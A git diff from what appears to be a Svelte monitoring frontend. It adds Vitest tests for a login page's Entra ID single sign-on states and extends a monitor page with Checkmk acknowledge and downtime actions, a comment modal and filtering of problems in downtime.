diff --git a/frontend/src/pages/LoginPage.test.ts b/frontend/src/pages/LoginPage.test.ts new file mode 100644 index 00000000..d976f047 --- /dev/null +++ b/frontend/src/pages/LoginPage.test.ts @@ -0,0 +1,161 @@ +import { describe, it, expect, vi, beforeEach, afterEach } from 'vitest'; +import { render, screen } from '@testing-library/svelte'; + +vi.mock('../lib/entraIdAuth.svelte', () => ({ + entraIdAuth: { + isEntraIdEnabled: false, + entraIdProviderName: 'Microsoft Entra ID', + providerDiscoveryError: false, + isExchangingCode: false, + exchangeError: null as string | null, + isDiscovering: false, + discoverProviders: vi.fn().mockResolvedValue(undefined), + handleSsoCallback: vi.fn().mockResolvedValue(false), + clearExchangeError: vi.fn(), + }, +})); + +vi.mock('../lib/auth.svelte', () => ({ + authManager: { + isAuthenticated: false, + error: null, + login: vi.fn().mockResolvedValue(false), + clearError: vi.fn(), + }, +})); + +vi.mock('../lib/router.svelte', () => ({ + router: { + navigate: vi.fn(), + navigateToIntendedOrDefault: vi.fn(), + }, +})); + +vi.mock('../lib/toast.svelte', () => ({ + showError: vi.fn(), + showSuccess: vi.fn(), +})); + +vi.mock('../lib/api', () => ({ + get: vi.fn().mockResolvedValue({ config: null }), + post: vi.fn(), + getErrorGuidance: vi.fn(() => ({ guidance: undefined })), +})); + +import LoginPage from './LoginPage.svelte'; +import { entraIdAuth } from '../lib/entraIdAuth.svelte'; + +describe('LoginPage', () => { + beforeEach(() => { + vi.clearAllMocks(); + // Reset mock state + entraIdAuth.isEntraIdEnabled = false; + entraIdAuth.entraIdProviderName = 'Microsoft Entra ID'; + entraIdAuth.providerDiscoveryError = false; + entraIdAuth.isExchangingCode = false; + entraIdAuth.exchangeError = null; + vi.mocked(entraIdAuth.handleSsoCallback).mockResolvedValue(false); + vi.mocked(entraIdAuth.discoverProviders).mockResolvedValue(undefined); + }); + + afterEach(() => { + vi.restoreAllMocks(); + }); + + describe('SSO button conditional rendering', () => { + it('shows SSO button when entraIdAuth.isEntraIdEnabled is true', () => { + entraIdAuth.isEntraIdEnabled = true; + + render(LoginPage); + + expect(screen.getByRole('button', { name: /sign in with microsoft/i })).toBeTruthy(); + }); + + it('hides SSO button when entraIdAuth.isEntraIdEnabled is false', () => { + entraIdAuth.isEntraIdEnabled = false; + + render(LoginPage); + + expect(screen.queryByRole('button', { name: /sign in with microsoft/i })).toBeNull(); + }); + }); + + describe('Provider discovery error', () => { + it('shows warning when providerDiscoveryError is true', () => { + entraIdAuth.providerDiscoveryError = true; + + render(LoginPage); + + expect(screen.getByText(/SSO availability could not be determined/)).toBeTruthy(); + }); + + it('does not show warning when providerDiscoveryError is false', () => { + entraIdAuth.providerDiscoveryError = false; + + render(LoginPage); + + expect(screen.queryByText(/SSO availability could not be determined/)).toBeNull(); + }); + }); + + describe('SSO code exchange in progress', () => { + it('shows "Completing sign-in..." when isExchangingCode is true', () => { + entraIdAuth.isExchangingCode = true; + + render(LoginPage); + + expect(screen.getByText('Completing sign-in...')).toBeTruthy(); + }); + + it('hides local login form when isExchangingCode is true', () => { + entraIdAuth.isExchangingCode = true; + + render(LoginPage); + + expect(screen.queryByLabelText('Username')).toBeNull(); + }); + }); + + describe('Token exchange error', () => { + it('shows error message when exchangeError is set', () => { + entraIdAuth.exchangeError = 'Token exchange failed'; + + render(LoginPage); + + expect(screen.getByText('SSO authentication failed')).toBeTruthy(); + expect(screen.getByText('Token exchange failed')).toBeTruthy(); + }); + + it('shows SSO button below error when entraId is enabled', () => { + entraIdAuth.exchangeError = 'Something went wrong'; + entraIdAuth.isEntraIdEnabled = true; + + render(LoginPage); + + expect(screen.getByText('SSO authentication failed')).toBeTruthy(); + expect(screen.getByRole('button', { name: /sign in with microsoft/i })).toBeTruthy(); + }); + }); + + describe('Local login form always present', () => { + it('shows local login form when SSO is disabled', () => { + entraIdAuth.isEntraIdEnabled = false; + + render(LoginPage); + + expect(screen.getByLabelText('Username')).toBeTruthy(); + expect(screen.getByLabelText('Password')).toBeTruthy(); + expect(screen.getByRole('button', { name: /sign in$/i })).toBeTruthy(); + }); + + it('shows both SSO button and local login form when SSO is enabled', () => { + entraIdAuth.isEntraIdEnabled = true; + + render(LoginPage); + + expect(screen.getByRole('button', { name: /sign in with microsoft/i })).toBeTruthy(); + expect(screen.getByLabelText('Username')).toBeTruthy(); + expect(screen.getByLabelText('Password')).toBeTruthy(); + }); + }); +}); diff --git a/frontend/src/pages/MonitorPage.svelte b/frontend/src/pages/MonitorPage.svelte index cad588a9..81ceb44d 100644 --- a/frontend/src/pages/MonitorPage.svelte +++ b/frontend/src/pages/MonitorPage.svelte @@ -5,6 +5,8 @@ import IntegrationBadge from '../components/IntegrationBadge.svelte'; import { router } from '../lib/router.svelte'; import { get } from '../lib/api'; + import { acknowledgeProblem, scheduleDowntime } from '../lib/checkmkApi'; + import { showSuccess, showError } from '../lib/toast.svelte'; const pageTitle = 'Pabawi - Monitor'; @@ -25,6 +27,7 @@ lastStateChange: number; output: string; acknowledged: boolean; + inDowntime: boolean; } interface IntegrationStatusData { @@ -50,11 +53,33 @@ let error = $state(null); let checkmkProblemsHours = $state(null); let checkmkProblemSort = $state<'severity' | 'freshness'>('severity'); + let hideInDowntime = $state(false); let refreshing = $state(false); let lastRefresh = $state(null); let autoRefreshInterval = $state(0); let autoRefreshTimer: ReturnType | null = null; + // ---- Action modal state (acknowledge / downtime) ---- + const DOWNTIME_PRESETS = [ + { label: '1h', minutes: 60 }, + { label: '2h', minutes: 120 }, + { label: '4h', minutes: 240 }, + { label: '8h', minutes: 480 }, + { label: '24h', minutes: 1440 }, + ]; + + let actionModal = $state<{ + kind: 'ack' | 'downtime'; + problem: CheckmkServiceProblem; + } | null>(null); + let actionComment = $state(''); + let actionSubmitting = $state(false); + // Acknowledge options + let ackSticky = $state(true); + let ackNotify = $state(true); + // Downtime options + let downtimeMinutes = $state(120); + const sortedCheckmkProblems = $derived.by(() => { let filtered = checkmkProblems; @@ -63,9 +88,20 @@ filtered = filtered.filter(p => p.lastStateChange >= cutoff); } + if (hideInDowntime) { + filtered = filtered.filter(p => !p.inDowntime); + } + + // A problem is "suppressed" when it is acknowledged or in a downtime + // window. Suppressed problems sink below active ones regardless of sort. + const isSuppressed = (p: CheckmkServiceProblem): boolean => + p.acknowledged || p.inDowntime; + return [...filtered].sort((a, b) => { - if (a.acknowledged !== b.acknowledged) { - return a.acknowledged ? 1 : -1; + const aSup = isSuppressed(a); + const bSup = isSuppressed(b); + if (aSup !== bSup) { + return aSup ? 1 : -1; } if (checkmkProblemSort === 'severity') { if (a.state !== b.state) return b.state - a.state; @@ -146,6 +182,73 @@ refreshing = false; } } + + function openAck(problem: CheckmkServiceProblem): void { + actionModal = { kind: 'ack', problem }; + actionComment = ''; + ackSticky = true; + ackNotify = true; + } + + function openDowntime(problem: CheckmkServiceProblem): void { + actionModal = { kind: 'downtime', problem }; + actionComment = ''; + downtimeMinutes = 120; + } + + function closeActionModal(): void { + if (actionSubmitting) return; + actionModal = null; + } + + async function submitAction(): Promise { + if (!actionModal || actionSubmitting) return; + const { kind, problem } = actionModal; + const comment = actionComment.trim(); + if (!comment) { + showError('A comment is required'); + return; + } + + actionSubmitting = true; + try { + if (kind === 'ack') { + await acknowledgeProblem({ + hostname: problem.hostname, + serviceDescription: problem.serviceDescription, + comment, + sticky: ackSticky, + notify: ackNotify, + }); + showSuccess(`Acknowledged ${problem.serviceDescription} on ${problem.hostname}`); + } else { + const startTime = new Date(); + const endTime = new Date(startTime.getTime() + downtimeMinutes * 60_000); + await scheduleDowntime({ + hostname: problem.hostname, + serviceDescription: problem.serviceDescription, + comment, + startTime: startTime.toISOString(), + endTime: endTime.toISOString(), + }); + showSuccess( + `Scheduled ${downtimeMinutes >= 60 ? `${downtimeMinutes / 60}h` : `${downtimeMinutes}m`} downtime for ${problem.serviceDescription} on ${problem.hostname}`, + ); + } + actionModal = null; + // Reflect the new Checkmk state. The change may take a moment to + // propagate; refetch so acknowledged/downtime flags update. + await fetchCheckmkData(); + } catch (err) { + const message = err instanceof Error ? err.message : 'Action failed'; + showError( + kind === 'ack' ? 'Failed to acknowledge problem' : 'Failed to schedule downtime', + message, + ); + } finally { + actionSubmitting = false; + } + } @@ -193,7 +296,10 @@

Service Problems

- {sortedCheckmkProblems.filter(p => !p.acknowledged).length} unhandled + {sortedCheckmkProblems.filter(p => !p.acknowledged && !p.inDowntime).length} unhandled + {#if sortedCheckmkProblems.filter(p => p.inDowntime).length > 0} + / {sortedCheckmkProblems.filter(p => p.inDowntime).length} downtime + {/if} {#if sortedCheckmkProblems.filter(p => p.acknowledged).length > 0} / {sortedCheckmkProblems.filter(p => p.acknowledged).length} ack {/if} @@ -234,6 +340,16 @@
+ + +
@@ -286,29 +402,33 @@ Service Output Since + Actions {#each sortedCheckmkProblems as problem}
router.navigate(`/nodes/${problem.hostname}`)} - title={problem.acknowledged ? `[ACK] ${problem.output}` : problem.output} + title={`${problem.inDowntime ? '[DOWNTIME] ' : ''}${problem.acknowledged ? '[ACK] ' : ''}${problem.output}`} >
{problem.state === 2 ? 'CRIT' : problem.state === 1 ? 'WARN' : 'UNKN'} + {#if problem.inDowntime} + ⏸ DT + {/if} {#if problem.acknowledged} {/if} - + {problem.hostname} - + {problem.serviceDescription} @@ -326,6 +446,28 @@ — {/if} + +
+ + +
+ {/each} @@ -398,3 +540,100 @@
{/if}
+ +{#if actionModal} + + +{/if} diff --git a/frontend/src/pages/NodeDetailPage.svelte b/frontend/src/pages/NodeDetailPage.svelte index 1cbc7d84..56492ce7 100644 --- a/frontend/src/pages/NodeDetailPage.svelte +++ b/frontend/src/pages/NodeDetailPage.svelte @@ -1,6 +1,8 @@